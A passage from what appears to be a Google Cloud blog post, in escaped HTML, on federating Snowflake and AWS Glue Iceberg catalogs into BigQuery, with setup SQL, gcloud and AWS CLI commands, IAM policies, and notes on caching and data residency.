    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;quot;CREATE OR REPLACE VIEW `my-lakehouse-project.local_retail_dataset.v_omnichannel_sales_pulse` AS\r\nSELECT \r\n    f.sale_id,\r\n    f.sale_date,\r\n    c.first_name || &amp;#x27; &amp;#x27; || c.last_name AS customer_name,\r\n    c.country AS customer_country,\r\n    p.product_name,\r\n    p.category AS product_category,\r\n    p.brand AS product_brand,\r\n    s.store_name,\r\n    s.city AS store_city,\r\n    s.region AS store_region,\r\n    f.quantity,\r\n    f.total_revenue,\r\n    f.margin\r\nFROM `my-lakehouse-project.local_retail_dataset.fact_sales` f\r\nINNER JOIN `my-lakehouse-project.sf_retail_db.CORE.DIM_CUSTOMERS` c \r\n  ON f.customer_key = c.customer_key\r\nINNER JOIN `my-lakehouse-project.dbx_retail_db.dbx_core.dim_products` p \r\n  ON f.product_key = p.product_key\r\nINNER JOIN `my-lakehouse-project.glue_retail_db.glue_retail_db.dim_stores` s \r\n  ON f.store_key = s.store_key;&amp;quot;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd61bfa7650&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;Analyze sales performance in natural language&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;When you ask conversational analytics in BigQuery:&lt;/span&gt;&lt;/p&gt;
&lt;p style="padding-left: 40px;"&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;"Who are our top customers by total sales revenue, what products did they buy, and which stores did they shop at?"&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Conversational analytics evaluates the schema across all three remote catalogs, generates the SQL statement, executes the query, and presents the response. &lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/3_7V8coFu.max-1000x1000.png"
        
          alt="3"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="bhx8b"&gt;Figure 3: Conversational analytics in BigQuery translates plain-language prompts into federated queries across Snowflake, Databricks, and AWS Glue.&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;Plan for caching and data residency&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Before deploying federated catalogs in production, consider these operational behaviors:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Background refresh timing:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; The &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;--refresh-interval&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; flag controls metadata synchronization. The minimum interval is 300 seconds. For larger catalogs containing hundreds of tables, metadata retrieval can take longer. If a sync cycle overruns, BigQuery skips the next scheduled run to avoid task queuing.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Automatic query caching:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; BigQuery caches retrieved cross-cloud data blocks in the region where your federated catalog resides (e.g. &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;us-central1&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;). This helps reduce network transfer on repeated queries. Because cached blocks reside within Google Cloud storage in that region, confirm that this aligns with your organization's data residency policies.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Encryption controls:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Cross-cloud cache blocks use Google-managed encryption keys. If your organization enforces the &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;constraints/gcp.restrictNonCmekServices&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; policy constraint, BigQuery bypasses the cache and reads directly from remote storage for every query.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Monitoring access metrics:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; You can evaluate cache utilization in your query execution plans. Check the &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;objectStorageStats&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; section in BigQuery job statistics to compare &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;cacheBytesRead&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; against &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;objectStorageBytesRead&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Next steps&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;In summary, Google Cloud’s borderless Lakehouse helps you activate your data regardless of where it lives without costly migrations or building additional data pipelines.   Get started today by reviewing the&lt;/span&gt;&lt;a href="https://docs.cloud.google.com/lakehouse/docs/about-cross-cloud-data-access"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;borderless Lakehouse architecture documentation&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; to learn more about supported regions and credential configurations. You can work through the&lt;/span&gt;&lt;a href="https://docs.cloud.google.com/lakehouse/docs/cross-cloud-data-access-codelab"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;borderless Lakehouse codelab&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; to practice federating external catalogs step-by-step. Finally, connect with your Google Cloud account team or customer engineer to evaluate borderless lakehouse patterns for your specific data platforms or industries.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;hr/&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Appendix&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Setting up Snowflake and AWS Glue cross cloud data access&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Connect Snowflake and Big Query&lt;/span&gt;&lt;/h3&gt;
&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;Configure Snowflake Horizon Catalog&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;We begin in Snowflake by creating the database, schema, and Iceberg table. In Snowflake Horizon, managed Iceberg tables expose an open Apache Iceberg REST catalog interface automatically:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;quot;-- Run inside Snowflake SQL worksheet\r\nCREATE DATABASE IF NOT EXISTS sf_retail_db;\r\nCREATE SCHEMA IF NOT EXISTS sf_retail_db.core;\r\n\r\n-- Create the Iceberg dimension table\r\nCREATE OR REPLACE ICEBERG TABLE sf_retail_db.core.dim_customers (\r\n    customer_key INTEGER,\r\n    customer_id VARCHAR,\r\n    first_name VARCHAR,\r\n    last_name VARCHAR,\r\n    email VARCHAR,\r\n    gender VARCHAR,\r\n    country VARCHAR,\r\n    signup_date DATE\r\n\r\n)\r\nCATALOG = &amp;#x27;SNOWFLAKE&amp;#x27;\r\nEXTERNAL_VOLUME = &amp;#x27;SNOWFLAKE_MANAGED&amp;#x27;;&amp;quot;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd6201f9e10&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Before external engines can read this catalog, configure a dedicated reader role and grant traversal permissions across the database, schema, and table. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;SQL&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;-- Create a dedicated reader role\r\nCREATE ROLE IF NOT EXISTS gcp_lakehouse_reader_role;\r\n\r\n-- Grant database and schema traversal permissions\r\nGRANT USAGE ON DATABASE sf_retail_db TO ROLE gcp_lakehouse_reader_role;\r\nGRANT USAGE ON SCHEMA sf_retail_db.core TO ROLE gcp_lakehouse_reader_role;\r\n\r\n-- Grant read access on the target table\r\nGRANT SELECT ON TABLE sf_retail_db.core.dim_customers TO ROLE gcp_lakehouse_reader_role;&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd6201f9c90&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Next, create the federated catalog inside Google Cloud using the &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;gcloud&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; command-line tool. You will need your Snowflake account identifier, the reader role, and the root Iceberg database name:&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;bash&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;export GCP_PROJECT_ID=&amp;quot;my-lakehouse-project&amp;quot;\r\nexport GCP_REGION=&amp;quot;us-central1&amp;quot;\r\n\r\ngcloud alpha biglake iceberg catalogs create sf_retail_db \\\r\n  --project=&amp;quot;$GCP_PROJECT_ID&amp;quot; \\\r\n  --primary-location=&amp;quot;$GCP_REGION&amp;quot; \\\r\n  --catalog-type=&amp;quot;federated&amp;quot; \\\r\n  --federated-catalog-type=&amp;quot;snowflake&amp;quot; \\\r\n  --snowflake-account-identifier=&amp;quot;xy12345-ab67890&amp;quot; \\\r\n  --snowflake-warehouse=&amp;quot;SF_RETAIL_DB&amp;quot; \\\r\n  --snowflake-role=&amp;quot;gcp_lakehouse_reader_role&amp;quot; \\\r\n  --refresh-interval=&amp;quot;300s&amp;quot;&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd61bfa6550&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;In the Apache Iceberg REST specification, &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;--snowflake-warehouse&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; references the catalog root database name (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;SF_RETAIL_DB&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;), not a virtual compute warehouse.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Once created, describe the catalog to view its assigned numeric service account ID:&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;bash&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;gcloud alpha biglake iceberg catalogs describe sf_retail_db \\\r\n  --project=&amp;quot;$GCP_PROJECT_ID&amp;quot; \\\r\n  --format=\&amp;#x27;value(biglake-service-account-id)\&amp;#x27;&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd6201fbc90&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Return to Snowflake to bind Google Cloud's numeric identity to a passwordless service user via Workload Identity Federation (WIF):&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;SQL&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;quot;-- Run inside Snowflake SQL worksheet\r\nUSE ROLE ACCOUNTADMIN;\r\n\r\n-- Bind Google Cloud&amp;#x27;s numeric identity to a passwordless service user\r\nCREATE OR REPLACE USER snowflake_service_user\r\n  TYPE = SERVICE\r\n  WORKLOAD_IDENTITY = (\r\n    TYPE = GCP\r\n    SUBJECT = &amp;#x27;102669xxxxxxxxxxxxxxxxx&amp;#x27; -- Numeric subject ID returned by gcloud describe\r\n  )\r\n  DEFAULT_ROLE = gcp_lakehouse_reader_role\r\n  COMMENT = &amp;#x27;Service user for Lakehouse catalog federation over WIF&amp;#x27;;\r\n\r\n-- Grant the reader role to this service user\r\nGRANT ROLE gcp_lakehouse_reader_role TO USER snowflake_service_user;&amp;quot;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd6201fbdd0&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;This establishes passwordless authentication over OpenID Connect, allowing BigQuery to discover table metadata and vend temporary query-time credentials directly from Snowflake Horizon.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Configure AWS Glue Data Catalog&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;We begin in AWS by preparing the IAM identity, establishing access permissions across AWS Glue and Amazon S3, and registering the Iceberg table.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;First, create a placeholder trust policy named &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;trust_policy.json&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;. This allows you to provision the AWS IAM role before Google Cloud assigns the unique catalog service agent:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;{\r\n  &amp;quot;Version&amp;quot;: &amp;quot;2012-10-17&amp;quot;,\r\n  &amp;quot;Statement&amp;quot;: [\r\n    {\r\n      &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;,\r\n      &amp;quot;Principal&amp;quot;: {\r\n        &amp;quot;Federated&amp;quot;: &amp;quot;accounts.google.com&amp;quot;\r\n      },\r\n      &amp;quot;Action&amp;quot;: &amp;quot;sts:AssumeRoleWithWebIdentity&amp;quot;,\r\n      &amp;quot;Condition&amp;quot;: {\r\n        &amp;quot;StringEquals&amp;quot;: {\r\n          &amp;quot;accounts.google.com:aud&amp;quot;: [&amp;quot;PLACEHOLDER_VALUE&amp;quot;],\r\n          &amp;quot;accounts.google.com:sub&amp;quot;: [&amp;quot;PLACEHOLDER_VALUE&amp;quot;]\r\n        }\r\n      }\r\n    }\r\n  ]\r\n}&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd61bf43590&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Create the IAM role using the AWS CLI. Setting a 12-hour session duration (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;43200&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; seconds) prevents credential expiration during long-running analytical queries:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;export AWS_ROLE_NAME=&amp;quot;lakehouse_glue_federation_role&amp;quot;\r\n\r\naws iam create-role \\\r\n  --role-name &amp;quot;$AWS_ROLE_NAME&amp;quot; \\\r\n  --assume-role-policy-document file://trust_policy.json \\\r\n  --max-session-duration 43200&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd61bf40550&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Next, define the permissions policy in a file named &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;permissions_policy.json&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;. This policy grants BigQuery permission to read the AWS Glue catalog metadata and access the underlying Parquet data files in Amazon S3:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;{\r\n  &amp;quot;Version&amp;quot;: &amp;quot;2012-10-17&amp;quot;,\r\n  &amp;quot;Statement&amp;quot;: [\r\n    {\r\n      &amp;quot;Sid&amp;quot;: &amp;quot;GlueCatalogRead&amp;quot;,\r\n      &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;,\r\n      &amp;quot;Action&amp;quot;: [\r\n        &amp;quot;glue:GetCatalog&amp;quot;,\r\n        &amp;quot;glue:GetDatabase&amp;quot;,\r\n        &amp;quot;glue:GetDatabases&amp;quot;,\r\n        &amp;quot;glue:GetTable&amp;quot;,\r\n        &amp;quot;glue:GetTables&amp;quot;\r\n      ],\r\n      &amp;quot;Resource&amp;quot;: &amp;quot;arn:aws:glue:us-east-2:123456789012:*&amp;quot;\r\n    },\r\n    {\r\n      &amp;quot;Sid&amp;quot;: &amp;quot;S3BucketAndObjectRead&amp;quot;,\r\n      &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;,\r\n      &amp;quot;Action&amp;quot;: [\r\n        &amp;quot;s3:ListBucket&amp;quot;,\r\n        &amp;quot;s3:GetObject&amp;quot;\r\n      ],\r\n      &amp;quot;Resource&amp;quot;: [\r\n        &amp;quot;arn:aws:s3:::my-glue-iceberg-bucket&amp;quot;,\r\n        &amp;quot;arn:aws:s3:::my-glue-iceberg-bucket/*&amp;quot;\r\n      ]\r\n    }\r\n  ]\r\n}&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd61bf433d0&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Attach this permissions policy to your newly created role:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;aws iam put-role-policy \\\r\n  --role-name &amp;quot;$AWS_ROLE_NAME&amp;quot; \\\r\n  --policy-name &amp;quot;lakehouse_glue_federation_policy&amp;quot; \\\r\n  --policy-document file://permissions_policy.json&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd61bf41810&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Important (AWS Lake Formation):&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; If your AWS environment uses AWS Lake Formation, verify that the &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;IAMAllowedPrincipals&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; group has access to the target database and table (or grant explicit Lake Formation permissions to &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;lakehouse_glue_federation_role if the bucket is registered with AWS Lake Formation&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;). Without this, Lake Formation security settings will block the IAM role from accessing catalog metadata.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;With permissions in place, create the database and Iceberg table in AWS Glue using Amazon Athena:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;quot;-- Run inside Amazon Athena\r\nCREATE DATABASE IF NOT EXISTS glue_retail_db;\r\n\r\nCREATE TABLE IF NOT EXISTS glue_retail_db.dim_stores (\r\n    store_key INT,\r\n    store_id STRING,\r\n    store_name STRING,\r\n    city STRING,\r\n    state STRING,\r\n    region STRING,\r\n    manager STRING,\r\n    opened_date DATE\r\n\r\n)\r\nLOCATION &amp;#x27;s3://my-glue-iceberg-bucket/retail/dim_stores/&amp;#x27;\r\nTBLPROPERTIES (\r\n    &amp;#x27;table_type&amp;#x27;=&amp;#x27;ICEBERG&amp;#x27;,        \r\n    &amp;#x27;format&amp;#x27;=&amp;#x27;parquet&amp;#x27;,           \r\n    &amp;#x27;write_compression&amp;#x27;=&amp;#x27;zstd&amp;#x27; \r\n\r\n);&amp;quot;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd6200a7990&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Connect AWS Glue to BigQuery&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Next, register the federated catalog inside Google Cloud using the &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;gcloud&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; command-line tool. You will need your 12-digit AWS Account ID, AWS Region, and the role ARN created above:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;export GCP_PROJECT_ID=&amp;quot;my-lakehouse-project&amp;quot;\r\nexport GCP_REGION=&amp;quot;us-central1&amp;quot;\r\nexport AWS_REGION=&amp;quot;us-east-2&amp;quot;\r\nexport AWS_ACCOUNT_ID=&amp;quot;123456789012&amp;quot;\r\n\r\ngcloud alpha biglake iceberg catalogs create glue_retail_db \\\r\n  --project=&amp;quot;$GCP_PROJECT_ID&amp;quot; \\\r\n  --primary-location=&amp;quot;$GCP_REGION&amp;quot; \\\r\n  --catalog-type=&amp;quot;federated&amp;quot; \\\r\n  --federated-catalog-type=&amp;quot;glue&amp;quot; \\\r\n  --glue-warehouse=&amp;quot;$AWS_ACCOUNT_ID&amp;quot; \\\r\n  --glue-aws-region=&amp;quot;$AWS_REGION&amp;quot; \\\r\n  --glue-aws-role-arn=&amp;quot;arn:aws:iam::${AWS_ACCOUNT_ID}:role/lakehouse_glue_federation_role&amp;quot;&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd6200a6650&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;To prevent premature background refresh failures while the AWS trust policy propagates, initialize the catalog without setting a refresh schedule.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Next, extract the unique numeric subject ID assigned to the catalog by Google Cloud:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;export LAKEHOUSE_SA_ID=$(gcloud alpha biglake iceberg catalogs describe glue_retail_db \\\r\n  --project=&amp;quot;$GCP_PROJECT_ID&amp;quot; \\\r\n  --format=&amp;quot;value(biglake-service-account-id)&amp;quot;)\r\n\r\necho &amp;quot;Assigned Lakehouse Service Account ID: $LAKEHOUSE_SA_ID&amp;quot;&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd6200a6590&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Return to the AWS CLI and update your IAM role's trust policy, replacing the placeholder with the verified Google Cloud identity:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;cat &amp;gt; trust_policy_final.json &amp;lt;&amp;lt; EOF\r\n{\r\n  &amp;quot;Version&amp;quot;: &amp;quot;2012-10-17&amp;quot;,\r\n  &amp;quot;Statement&amp;quot;: [\r\n    {\r\n      &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;,\r\n      &amp;quot;Principal&amp;quot;: {\r\n        &amp;quot;Federated&amp;quot;: &amp;quot;accounts.google.com&amp;quot;\r\n      },\r\n      &amp;quot;Action&amp;quot;: &amp;quot;sts:AssumeRoleWithWebIdentity&amp;quot;,\r\n      &amp;quot;Condition&amp;quot;: {\r\n        &amp;quot;StringEquals&amp;quot;: {\r\n          &amp;quot;accounts.google.com:aud&amp;quot;: [\r\n            &amp;quot;$LAKEHOUSE_SA_ID&amp;quot;\r\n          ],\r\n          &amp;quot;accounts.google.com:sub&amp;quot;: [\r\n            &amp;quot;$LAKEHOUSE_SA_ID&amp;quot;\r\n          ]\r\n        }\r\n      }\r\n    }\r\n  ]\r\n}\r\nEOF\r\n\r\naws iam update-assume-role-policy \\\r\n  --role-name &amp;quot;$AWS_ROLE_NAME&amp;quot; \\\r\n  --policy-document file://trust_policy_final.json&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd6200a6450&amp;gt;)])]&amp;gt;&lt;/dd&gt;
